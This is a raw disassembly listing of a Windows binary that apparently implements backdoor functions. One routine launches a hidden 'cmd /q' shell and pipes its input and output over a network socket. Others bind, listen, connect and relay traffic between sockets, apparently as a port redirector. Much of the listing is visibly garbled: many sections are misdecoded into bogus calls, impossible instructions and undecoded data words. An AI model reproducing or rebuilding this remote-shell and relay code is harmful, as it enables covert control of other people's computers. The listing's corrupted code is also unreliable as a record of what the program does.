dd 0FF537FFFh, 45151C15h, 0FC08500h, 10385h, 0A85C6800h
dd 45C70044h, 0CF0h, 0F4758900h, 0E8F87589h, 4303h, 87D8959h
dd 0C7FC458Dh, 10FC45h, 8D500000h, 5350CC45h, 158415FFh
dd 0F88B0045h, 0FFFFF83h, 0CA84h, 875FF00h, 5008458Dh
dd 0FF68086Ah, 570000FFh, 14D415FFh, 0F8830045h, 0FC574FFh
dd 0FFCE45B7h, 7589B475h, 75FF50C8h, 7C15FFD0h, 50004515h
dd 0FBEC858Dh, 0C468FFFFh, 500044A8h, 0B357E8h, 0EC858D00h
dd 50FFFFFBh, 4292E8h, 858D5700h, 0FFFFFBECh, 0E850096Ah
dd 0FFFF6E1Bh, 69B84589h, 234C0h, 0B44D8B00h, 8924C483h
dd 4523BC88h, 0DC458D00h, 0EC858D50h, 56FFFFFDh, 1AF96850h
dd 458D0041h, 0FF5056F0h, 4F131C15h, 0B84D8B00h, 234C969h
dd 0C63B0000h, 23CC8189h, 13740045h, 0FC87539h, 0FFFF3785h
dd 0FF326AFFh, 4F12F415h, 0FFEDEB00h, 4F131015h, 30685000h
dd 0E80044A9h, 428Fh, 3EB5959h, 0FF087D8Bh, 45148815h
dd 858D5000h, 0FFFFFBECh, 44A99868h, 0B5E85000h, 830000B2h
dd 75390CC4h, 562075C4h, 0FBEC858Dh, 75FFFFFFh, 858D50C0h
dd 0FFFFFDF0h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFEF48Dh, 8D14C483h
dd 0FFFBEC85h, 0C8E850FFh, 59000041h, 8815FF57h, 53004515h
dd 158815FFh, 15FF0045h, 45144Ch, 0E8B475FFh, 0FFFF705Fh
dd 0FDE85659h, 5FFFFBDFh, 39C0335Bh, 0F042444h
db 94h, 0C0h, 0C3h
; ---------------------------------------------------------------------------
loc_41200F: ; CODE XREF: seg000:00411CA8p
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+8]
push edi
call sub_412160
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, ds:dword_4523C4[edi]
mov dword ptr [ebp-0Ch], 0Ch
mov [ebp-8], ebx
mov [ebp-4], ebx
mov [esi+0Ch], eax
mov edi, ds:dword_4F131C
pop ecx
lea eax, [ebp+8]
push eax
push ebx
push esi
push offset sub_412332
lea eax, [ebp-0Ch]
push ebx
push eax
call edi ; dword_4F131C
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_41207A
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset unk_44A9F4
call sub_41621B
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short near ptr loc_4120B3+1
; ---------------------------------------------------------------------------
loc_41207A: ; CODE XREF: seg000:0041205Fj
lea eax, [ebp+8]
push eax
push ebx
push esi
push offset loc_4123E4
lea eax, [ebp-0Ch]
push ebx
push eax
call edi ; dword_4F131C
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_4120BB
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset unk_44AA54
call sub_41621B
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call near ptr 3D0000h
loc_4120B3: ; CODE XREF: seg000:00412078j
loope near ptr loc_4120E6+2
shr cl, 0A0h
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_4120BB: ; CODE XREF: seg000:00412091j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp-18h], eax
mov eax, [esi+14h]
mov [ebp-14h], eax
mov eax, [esi+8]
mov [ebp-10h], eax
lea eax, [ebp-18h]
push ebx
push eax
push 3
call near ptr 3D0000h
xchg eax, edx
sub eax, ebx
jz short loc_412115
dec eax
jz short loc_41210F
dec eax
jz short loc_4120FB
loc_4120E6: ; CODE XREF: seg000:loc_4120B3j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset unk_44AAB4
call sub_41621B
pop ecx
pop ecx
jmp short loc_41212A
; ---------------------------------------------------------------------------
loc_4120FB: ; CODE XREF: seg000:004120E4j
mov edi, ds:dword_4F1344
push ebx
push dword ptr [esi+14h]
call edi ; dword_4F1344
push ebx
push dword ptr [esi+10h]
call edi ; dword_4F1344
jmp short loc_41212A
; ---------------------------------------------------------------------------
loc_41210F: ; CODE XREF: seg000:004120E1j
push ebx
push dword ptr [esi+10h]
jmp short loc_412119
; ---------------------------------------------------------------------------
loc_412115: ; CODE XREF: seg000:004120DEj
push ebx
push dword ptr [esi+14h]
loc_412119: ; CODE XREF: seg000:00412113j
call near ptr 3D0000h
pop esp
push 1
push dword ptr [esi+8]
call near ptr 3D0000h
; ---------------------------------------------------------------------------
db 62h
; ---------------------------------------------------------------------------
loc_41212A: ; CODE XREF: seg000:004120F9j
; seg000:0041210Dj
push dword ptr [esi+10h]
mov edi, ds:dword_4F12FC
call edi ; dword_4F12FC
push dword ptr [esi+14h]
call edi ; dword_4F12FC
push dword ptr [esi+8]
call edi ; dword_4F12FC
push dword ptr [esi]
call edi ; dword_4F12FC
push dword ptr [esi+4]
call edi ; dword_4F12FC
push dword ptr [esi+0Ch]
call ds:dword_451588
push esi
call sub_41B8B0
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412160 proc near ; CODE XREF: seg000:0041201Cp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41AE40
mov esi, eax
pop ecx
cmp esi, edi
jz loc_41224A
mov ebx, ds:dword_4F1394
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; dword_4F1394
mov edi, ds:dword_4F12FC
test eax, eax
jnz short loc_4121C3
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset unk_44AB00
jmp short loc_4121E3
; ---------------------------------------------------------------------------
loc_4121C3: ; CODE XREF: sub_412160+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; dword_4F1394
test eax, eax
jnz short loc_4121EB
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset unk_44AB58
loc_4121E3: ; CODE XREF: sub_412160+61j
call sub_41621B
pop ecx
jmp short loc_412219
; ---------------------------------------------------------------------------
loc_4121EB: ; CODE XREF: sub_412160+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_412259
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; dword_4F12FC
push [ebp+var_8]
call edi ; dword_4F12FC
cmp dword ptr [esi+8], 0
jnz short loc_41224E
push offset unk_44ABB0
call sub_4161A7
loc_412219: ; CODE XREF: sub_412160+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_412225
push [ebp+var_4]
call edi ; dword_4F12FC
loc_412225: ; CODE XREF: sub_412160+BEj
cmp [ebp+var_8], 0
jz short loc_412230
push [ebp+var_8]
call edi ; dword_4F12FC
loc_412230: ; CODE XREF: sub_412160+C9j
mov eax, [esi]
test eax, eax
jz short loc_412239
push eax
call edi ; dword_4F12FC
loc_412239: ; CODE XREF: sub_412160+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_412243
push eax
call edi ; dword_4F12FC
loc_412243: ; CODE XREF: sub_412160+DEj
push esi
call sub_41B8B0
pop ecx
loc_41224A: ; CODE XREF: sub_412160+1Dj
xor eax, eax
jmp short loc_412254
; ---------------------------------------------------------------------------
loc_41224E: ; CODE XREF: sub_412160+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_412254: ; CODE XREF: sub_412160+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_412160 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412259 proc near ; CODE XREF: sub_412160+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41D100
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41D100
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, ds:dword_4F1390
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; dword_4F1390
push eax
push ebx
call edi ; dword_4F1390
push eax
call near ptr 3D0000h
xchg eax, edi
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call near ptr 3D0000h
insb
test eax, eax
jz short loc_412315
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov ds:dword_4523C0[eax], ecx
call ds:dword_4F12FC ; CloseHandle
jmp short loc_41232B
; ---------------------------------------------------------------------------
loc_412315: ; CODE XREF: sub_412259+9Aj
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset unk_44ABF8
call sub_41621B
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_41232B: ; CODE XREF: sub_412259+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_412259 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412332 proc near ; DATA XREF: seg000:0041204Eo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, ds:dword_4F1374
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_41235B: ; CODE XREF: sub_412332+8Fj
call ebx ; dword_4F1374
test eax, eax
jz short loc_4123C3
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_412396
loc_41236C: ; CODE XREF: sub_412332+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_412386
cmp dl, 0Dh
jz short loc_412386
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_412386: ; CODE XREF: sub_412332+44j
; sub_412332+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_41236C
loc_412396: ; CODE XREF: sub_412332+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call ds:dword_451540
test eax, eax
jle short loc_4123C3
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_41235B
; ---------------------------------------------------------------------------
loc_4123C3: ; CODE XREF: sub_412332+2Dj
; sub_412332+79j
mov esi, ds:dword_4F1310
call esi ; dword_4F1310
cmp eax, 6Dh
jz short loc_4123DF
call esi ; dword_4F1310
push eax
push offset unk_44AC48
call sub_41621B
pop ecx
pop ecx
loc_4123DF: ; CODE XREF: sub_412332+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_412332 endp
; ---------------------------------------------------------------------------
loc_4123E4: ; DATA XREF: seg000:00412080o
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+8]
xor esi, esi
mov [ebp-10h], ebx
mov [ebp-0Ch], ebx
loc_4123FD: ; CODE XREF: seg000:0041241Dj
; seg000:004124BBj ...
push ebx
lea eax, [ebp+0Bh]
push 1
push eax
push dword ptr [edi+0Ch]
call ds:dword_45150C
test eax, eax
jle loc_412502
cmp [ebp-10h], ebx
jbe short loc_41241F
dec dword ptr [ebp-10h]
jmp short loc_4123FD
; ---------------------------------------------------------------------------
loc_41241F: ; CODE XREF: seg000:00412418j
mov al, [ebp+0Bh]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4124E2
cmp al, 8
mov [ebp-0Ch], ebx
jz short loc_41248F
cmp al, 7Fh
jz short loc_41248F
cmp al, 3
jnz short near ptr loc_412447+3
push ebx
push ebx
call near ptr 3D0000h
loc_412447: ; CODE XREF: seg000:0041243Ej
mov esp, 153C6CEBh
jnz short loc_41246C
xor esi, esi
mov byte ptr [ebp-8], 20h
mov byte ptr [ebp-7], 58h
mov byte ptr [ebp-6], 58h
mov byte ptr [ebp-5], 58h
mov byte ptr [ebp-4], 0Dh
mov byte ptr [ebp-3], 0Ah
push 6
jmp short loc_4124A2
; ---------------------------------------------------------------------------
loc_41246C: ; CODE XREF: seg000:0041244Cj
mov [ebp+esi-0DCh], al
inc esi
push 1
cmp al, 0Dh
mov [ebp-8], al
pop ecx
jnz short loc_4124A3
mov byte ptr [ebp+esi-0DCh], 0Ah
mov byte ptr [ebp-7], 0Ah
inc esi
push 2
jmp short loc_4124A2
; ---------------------------------------------------------------------------
loc_41248F: ; CODE XREF: seg000:00412436j
; seg000:0041243Aj
cmp esi, ebx
jbe short loc_4124B9
dec esi
mov byte ptr [ebp-8], 8
mov byte ptr [ebp-7], 20h
mov byte ptr [ebp-6], 8
push 3
loc_4124A2: ; CODE XREF: seg000:0041246Aj
; seg000:0041248Dj
pop ecx
loc_4124A3: ; CODE XREF: seg000:0041247Cj
push ebx
lea eax, [ebp-8]
push ecx
push eax
push dword ptr [edi+0Ch]
call ds:dword_451540
test eax, eax
jle short loc_412502
mov al, [ebp+0Bh]
loc_4124B9: ; CODE XREF: seg000:00412491j
cmp al, 0Dh
jnz loc_4123FD
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [edi+4]
call near ptr 3D0000h
mov eax, [ebp+332774C0h]
imul cl
sbb edi, edi
; ---------------------------------------------------------------------------
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4124E2: ; CODE XREF: seg000:0041242Bj
cmp [ebp-0Ch], ebx
jnz short loc_4124F3
mov dword ptr [ebp-0Ch], 1
jmp loc_4123FD
; ---------------------------------------------------------------------------
loc_4124F3: ; CODE XREF: seg000:004124E5j
mov dword ptr [ebp-10h], 0Ah
mov [ebp-0Ch], ebx
jmp loc_4123FD
; ---------------------------------------------------------------------------
loc_412502: ; CODE XREF: seg000:0041240Fj
; seg000:004124B4j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_412507: ; DATA XREF: seg000:004082FBo
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp-0D4h]
push 2Ch
mov [ebp-4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp-14h]
push esi
push eax
call sub_41D100
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-40h]
call ds:dword_4514F4
push 6
push edi
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
call ds:dword_451570
mov edi, eax
mov eax, [ebp-3Ch]
imul eax, 234h
push ebx
mov ds:dword_4523C4[eax], edi
lea eax, [ebp-14h]
push eax
push edi
call ds:dword_451520
test eax, eax
jnz loc_4126A9
push 0Ah
push edi
call ds:dword_45151C
test eax, eax
jnz loc_4126A9
push dword ptr [ebp-40h]
push dword ptr [ebp-0D4h]
call sub_402617
pop ecx
push eax
lea eax, [ebp-2D4h]
push offset unk_44AC9C
push eax
call sub_41D260
add esp, 10h
cmp [ebp-30h], esi
jnz short loc_4125E2
push esi
lea eax, [ebp-2D4h]
push dword ptr [ebp-34h]
push eax
lea eax, [ebp-0D0h]
push eax
push dword ptr [ebp-0D4h]
call sub_40145D
add esp, 14h
loc_4125E2: ; CODE XREF: seg000:004125C0j
; seg000:00412679j ...
lea eax, [ebp-2D4h]
push eax
call sub_4161A7
pop ecx
lea eax, [ebp-4]
push eax
lea eax, [ebp-24h]
push eax
push edi
call ds:dword_451584
push dword ptr [ebp-3Ch]
mov ebx, eax
movzx eax, word ptr [ebp-22h]
push eax
mov [ebp-28h], esi
push dword ptr [ebp-20h]
call ds:dword_45157C
push eax
lea eax, [ebp-2D4h]
push offset unk_44ACE0
push eax
call sub_41D260
push ebx
lea eax, [ebp-2D4h]
push 19h
push eax
call sub_408D3F
mov [ebp-38h], eax
imul eax, 234h
mov ecx, [ebp-3Ch]
add esp, 20h
mov ds:dword_4523BC[eax], ecx
lea eax, [ebp+8]
push eax
lea eax, [ebp-0D4h]
push esi
push eax
push offset loc_41270C
push esi
push esi
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-38h]
imul ecx, 234h
cmp eax, esi
mov ds:dword_4523CC[ecx], eax
jz short loc_412689
loc_412676: ; CODE XREF: seg000:00412687j
cmp [ebp-28h], esi
jnz loc_4125E2
push 5
call ds:dword_4F12F4 ; Sleep
jmp short loc_412676
; ---------------------------------------------------------------------------
loc_412689: ; CODE XREF: seg000:00412674j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2D4h]
push offset unk_44AD3C
push eax
call sub_41D260
add esp, 0Ch
jmp loc_4125E2
; ---------------------------------------------------------------------------
loc_4126A9: ; CODE XREF: seg000:00412582j
; seg000:00412593j
push edi
call ds:dword_451588
push dword ptr [ebp-40h]
lea eax, [ebp-2D4h]
push offset unk_44AD90
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4126EC
push esi
lea eax, [ebp-2D4h]
push dword ptr [ebp-34h]
push eax
lea eax, [ebp-0D0h]
push eax
push dword ptr [ebp-0D4h]
call sub_40145D
add esp, 14h
loc_4126EC: ; CODE XREF: seg000:004126CAj
lea eax, [ebp-2D4h]
push eax
call sub_4161A7
push dword ptr [ebp-3Ch]
call sub_40905B
pop ecx
pop ecx
push esi
call near ptr 3D0000h
pop eax
pop edi
pop esi
pop ebx
loc_41270C: ; DATA XREF: seg000:00412656o
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp-0C8h]
rep movsd
mov esi, [ebp-2Ch]
push 1
mov [ebp+8], esi
imul esi, 234h
pop edi
lea esi, dword_4523C4[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov dword ptr [ebp-8], 5
mov [ebp-5D0h], eax
lea eax, [ebp-8]
push eax
push ebx
lea eax, [ebp-5D4h]
push ebx
push eax
push ebx
mov [ebp-4], ebx
mov [ebp-5D4h], edi
call ds:dword_4514DC
test eax, eax
jnz short near ptr loc_41278C+1
push dword ptr [esi]
call ds:dword_451588
push dword ptr [ebp+8]
call sub_40905B
pop ecx
push ebx
call near ptr 3D0000h
loc_41278C: ; CODE XREF: seg000:00412773j
fist dword ptr [ebx-73h]
test [eax], esi
sti
; ---------------------------------------------------------------------------
dw 0FFFFh
dd 40868h, 36FF5000h, 150C15FFh, 0C0850045h, 36FF187Fh
dd 158815FFh, 75FF0045h, 68A5E808h, 5359FFFFh, 0FBD843E8h
dd 0BD80E5FFh, 0FFFFFB30h, 0ED850F04h, 80000001h, 0FFFB31BDh
dd 850F01FFh, 1E0h, 74BC5D38h, 0BC458D77h, 38858D50h, 50FFFFFBh
dd 0B113E8h, 0C0855900h, 8D617459h, 8D50BC45h, 0FFFB3885h
dd 0DC6850FFh, 0E80044ADh, 3A13h, 40068h, 38858D00h, 53FFFFFBh
dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 0D9E85DFFh, 830000A8h
dd 858D18C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh, 451540h
dd 15FF36FFh, 451588h, 0E80875FFh, 0FFFF680Fh, 0ADE85359h
dd 10FFFBD7h, 458D106Ah, 0E85053E8h, 0A8A0h, 32858B66h
dd 83FFFFFBh, 89660CC4h, 858BEA45h, 0FFFFFB34h, 6A57066Ah
dd 45C76602h, 890002E8h, 15FFEC45h, 451570h, 0FF83F88Bh
dd 0FF5D75FFh, 45148815h, 34685000h, 0E80044AEh, 397Bh
dd 40068h, 38858D00h, 53FFFFFBh, 309D8850h, 0C6FFFFFBh
dd 0FFFB3185h, 41E85BFFh, 830000A8h, 858D14C4h, 0FFFFFB30h
dd 50086A53h, 15FF36FFh, 451540h, 15FF36FFh, 451588h, 0E80875FFh
dd 0FFFF6777h, 15E85359h, 0B9FFFBD7h, 6AE8458Dh, 0FF575010h
dd 45149C15h, 0FFF88300h, 15FF5D75h, 451488h, 0AE8C6850h
dd 0CE80044h, 68000039h, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
dd 85C6FFFFh, 0FFFFFB31h, 0A7D2E85Bh, 0C4830000h, 30858D14h
dd 53FFFFFBh, 0FF50086Ah, 4015FF36h, 0FF004515h, 8815FF36h
dd 0FF004515h, 8E80875h, 59FFFF67h, 0D6A6E853h, 6805FFFBh
dd 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh
dd 0FFFFFB31h, 0A786E85Ah, 0C4830000h, 30858D0Ch, 53FFFFFBh
dd 0FF50086Ah, 4015FF36h, 0FF004515h, 39E85736h, 59000000h
dd 15FF5759h, 451588h, 15FF36FFh, 451588h, 0E80875FFh
dd 0FFFF66ABh, 49E85359h, 0E3FFFBD6h, 15FF36FFh, 451588h
dd 0E80875FFh, 0FFFF6693h, 31E85359h, 98FFFBD6h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4129E6: ; CODE XREF: seg000:00412A95j
; seg000:00412AC5j
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4129FE: ; CODE XREF: seg000:00412A0Cj
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_412A0E
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4129FE
loc_412A0E: ; CODE XREF: seg000:00412A03j
cmp ecx, 1
jnz short loc_412A23
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_412A23: ; CODE XREF: seg000:00412A11j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call ds:dword_4514DC
lea eax, [ebp-104h]
push eax
push ebx
call ds:dword_4513E4
test eax, eax
jz short loc_412A83
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call ds:dword_45150C
cmp eax, 0FFFFFFFFh
jz short loc_412ACB
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_412ACB
loc_412A83: ; CODE XREF: seg000:00412A55j
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call ds:dword_4513E4
test eax, eax
jz loc_4129E6
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call ds:dword_45150C
cmp eax, 0FFFFFFFFh
jz short loc_412ACB
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jnz loc_4129E6
loc_412ACB: ; CODE XREF: seg000:00412A6Aj
; seg000:00412A81j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_412AD0: ; CODE XREF: seg000:loc_412F74p
; DATA XREF: seg000:00407818o
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+8]
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp-374h]
push ebx
push 2
rep movsd
inc dword ptr [ebp-164h]
push 2
mov [ebp-10h], eax
mov [ebp-14h], eax
mov [ebp-8], eax
mov [edx+2A0h], eax
call ds:dword_451570
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_412B8B
push 190h
call ds:dword_4F12F4 ; Sleep
call ds:dword_451488
push eax
lea eax, [ebp-778h]
push offset dword_44AEF0
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp-0D8h], ebx
jnz short loc_412B6B
push ebx
lea eax, [ebp-778h]
push dword ptr [ebp-0DCh]
push eax
lea eax, [ebp-15Ch]
push eax
push dword ptr [ebp-374h]
call sub_40145D
add esp, 14h
loc_412B6B: ; CODE XREF: seg000:00412B46j
lea eax, [ebp-778h]
push eax
call sub_4161A7
push dword ptr [ebp-168h]
call sub_40905B
pop ecx
pop ecx
push ebx
call near ptr 3D0000h
setalc
loc_412B8B: ; CODE XREF: seg000:00412B18j
lea eax, [ebp-10h]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call ds:dword_4514D4
lea eax, [ebp-14h]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call ds:dword_4514D4
mov eax, [ebp-168h]
push 10h
imul eax, 234h
push ebx
mov ds:dword_4523C4[eax], esi
lea eax, [ebp-2Ch]
push eax
call sub_41D100
add esp, 0Ch
mov word ptr [ebp-2Ch], 2
push dword ptr [ebp-160h]
call ds:dword_4514F4
mov [ebp-2Ah], ax
lea eax, [ebp-2Ch]
push 10h
push eax
push esi
mov [ebp-28h], ebx
call ds:dword_451520
cmp eax, 0FFFFFFFFh
jnz short loc_412C15
push 1388h
call ds:dword_4F12F4 ; Sleep
dec dword ptr [ebp-164h]
push dword ptr [ebp+8]
jmp loc_412F74
; ---------------------------------------------------------------------------
loc_412C15: ; CODE XREF: seg000:00412BFAj
lea eax, [ebp-370h]
push offset dword_44AF4C
push eax
call sub_41D0E0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_412C93
push 190h
call ds:dword_4F12F4 ; Sleep
lea eax, [ebp-370h]
push eax
lea eax, [ebp-778h]
push offset dword_44AF50
push eax
call sub_41D260
push ebx
lea eax, [ebp-778h]
push dword ptr [ebp-0DCh]
push eax
lea eax, [ebp-15Ch]
push eax
push dword ptr [ebp-374h]
call sub_40145D
lea eax, [ebp-778h]
push eax
call sub_4161A7
push dword ptr [ebp-168h]
call sub_40905B
add esp, 28h
push ebx
call near ptr 3D0000h
; ---------------------------------------------------------------------------
db 0D9h
; ---------------------------------------------------------------------------
loc_412C93: ; CODE XREF: seg000:00412C2Dj
; seg000:00412F2Ej
mov edi, [ebp+8]
cmp [edi+2A0h], ebx
jz loc_412F37
mov edi, 80h
lea eax, [ebp-0D0h]
push edi
push ebx
push eax
mov dword ptr [ebp-1Ch], 5
mov dword ptr [ebp-18h], 1388h
mov [ebp-878h], esi
mov dword ptr [ebp-87Ch], 1
call sub_41D100
add esp, 0Ch
lea eax, [ebp-1Ch]
push eax
push ebx
lea eax, [ebp-87Ch]
push ebx
push eax
push ebx
call ds:dword_4514DC
test eax, eax
jle loc_412F2B
mov al, ds:byte_4E2670
mov ecx, edi
mov [ebp-578h], al
xor eax, eax
lea edi, [ebp-577h]
mov dword ptr [ebp-0Ch], 10h
rep stosd
stosw
stosb
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-3Ch]
push eax
push ebx
lea eax, [ebp-0D0h]
push 80h
push eax
push esi
call ds:dword_4514CC
push dword ptr [ebp-38h]
mov [ebp-8], eax
call ds:dword_45157C
push eax
lea eax, [ebp-50h]
push eax
call sub_41D260
cmp [ebp-0D0h], bl
pop ecx
pop ecx
jnz loc_412F15
cmp byte ptr [ebp-0CFh], 1
jnz loc_412E1B
lea eax, [ebp-26Ch]
push eax
call sub_41AC70
push ebx
push ebx
push dword ptr [ebp-4]
call sub_4201E0
push dword ptr [ebp-4]
lea eax, [ebp-574h]
mov [ebp-578h], bl
mov byte ptr [ebp-577h], 3
push 200h
push 1
push eax
mov [ebp-576h], bl
mov byte ptr [ebp-575h], 1
call sub_41CDD0
add esp, 20h
lea ecx, [ebp-3Ch]
mov [ebp-8], eax
add eax, 4
push dword ptr [ebp-0Ch]
push ecx
push ebx
push eax
lea eax, [ebp-578h]
push eax
push esi
call ds:dword_451554
lea eax, [ebp-50h]
push eax
lea eax, [ebp-778h]
push offset dword_44AF9C
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp-0D8h], ebx
jnz short loc_412E09
push ebx
lea eax, [ebp-778h]
push dword ptr [ebp-0DCh]
push eax
lea eax, [ebp-15Ch]
push eax
